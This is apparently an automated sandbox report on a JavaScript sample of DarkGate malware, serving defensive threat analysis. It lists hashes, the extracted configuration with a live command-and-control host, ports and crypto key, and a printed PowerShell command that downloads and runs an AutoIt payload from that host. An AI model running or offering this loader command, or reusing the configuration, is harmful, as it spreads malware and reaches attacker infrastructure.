Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
138s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20231023-en -
resource tags
arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system -
submitted
27/10/2023, 15:40
Static task
static1
Behavioral task
behavioral1
Sample
advance.js
Resource
win7-20231023-en
Behavioral task
behavioral2
Sample
advance.js
Resource
win10v2004-20231023-en
General
-
Target
advance.js
-
Size
135KB
-
MD5
8169317a5e6490aadd707cefe626a58e
-
SHA1
5e1b3fb8ab4faa121fdc203cbc51e7472cbbf1b0
-
SHA256
0935ffbd6eb40f99494f748a513ac8272239d529c4b3930f07cdef620145d19d
-
SHA512
246420d3e7356473ced3aa57d6758162ed0eaa3d9343e1529044291e3c5f07c1e0d279546dcacef82acb95c66455a988f8efed9bd1d5775a8a60a48fc7b2016b
-
SSDEEP
1536:BZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/05:0T9U7hgaX6eerjqlI2IO6Mzqfh
Malware Config
Extracted
darkgate
user_871236672
http://profitcentronline.com
-
alternative_c2_port
8080
-
anti_analysis
true
-
anti_debug
true
-
anti_vm
true
-
c2_port
2351
-
check_disk
true
-
check_ram
true
-
check_xeon
true
-
crypter_au3
false
-
crypter_dll
false
-
crypter_rawstub
true
-
crypto_key
eirBKBYGAueQeS
-
internal_mutex
txtMut
-
minimum_disk
40
-
minimum_ram
6000
-
ping_interval
4
-
rootkit
true
-
startup_persistence
true
-
username
user_871236672
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 22 1076 powershell.exe 38 1076 powershell.exe -
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation wscript.exe -
Executes dropped EXE 1 IoCs
pid Process 4244 AutoIt3.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 AutoIt3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString AutoIt3.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1076 powershell.exe 1076 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1076 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 2304 wrote to memory of 1076 2304 wscript.exe 88 PID 2304 wrote to memory of 1076 2304 wscript.exe 88 PID 1076 wrote to memory of 4244 1076 powershell.exe 94 PID 1076 wrote to memory of 4244 1076 powershell.exe 94 PID 1076 wrote to memory of 4244 1076 powershell.exe 94
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\advance.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2304 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://profitcentronline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://profitcentronline.com:2351/msiashzasyd' -OutFile 'ashzasyd.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'ashzasyd.au3'"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1076 -
C:\temp\AutoIt3.exe"C:\temp\AutoIt3.exe" ashzasyd.au33⤵
- Executes dropped EXE
- Checks processor information in registry
PID:4244
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
-
Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
-
Filesize
488KB
MD5c755b238783fc0cc423a75a4e4cdd98a
SHA1acc579c4b18a9fc78e2a5cef6ba22e5ea8a65a64
SHA256f1042dd0bd4d4f2009d355a9bfaf858e9a56313c058104ae56c1580725d12e34
SHA512acacd3f84761208561692d1f40ccc8804d3466ff73fb03a88dcee671625d77e3b170f722b870d825b86d306dc4144ed5f36681cf524bbb169dcb3ebb942fc19d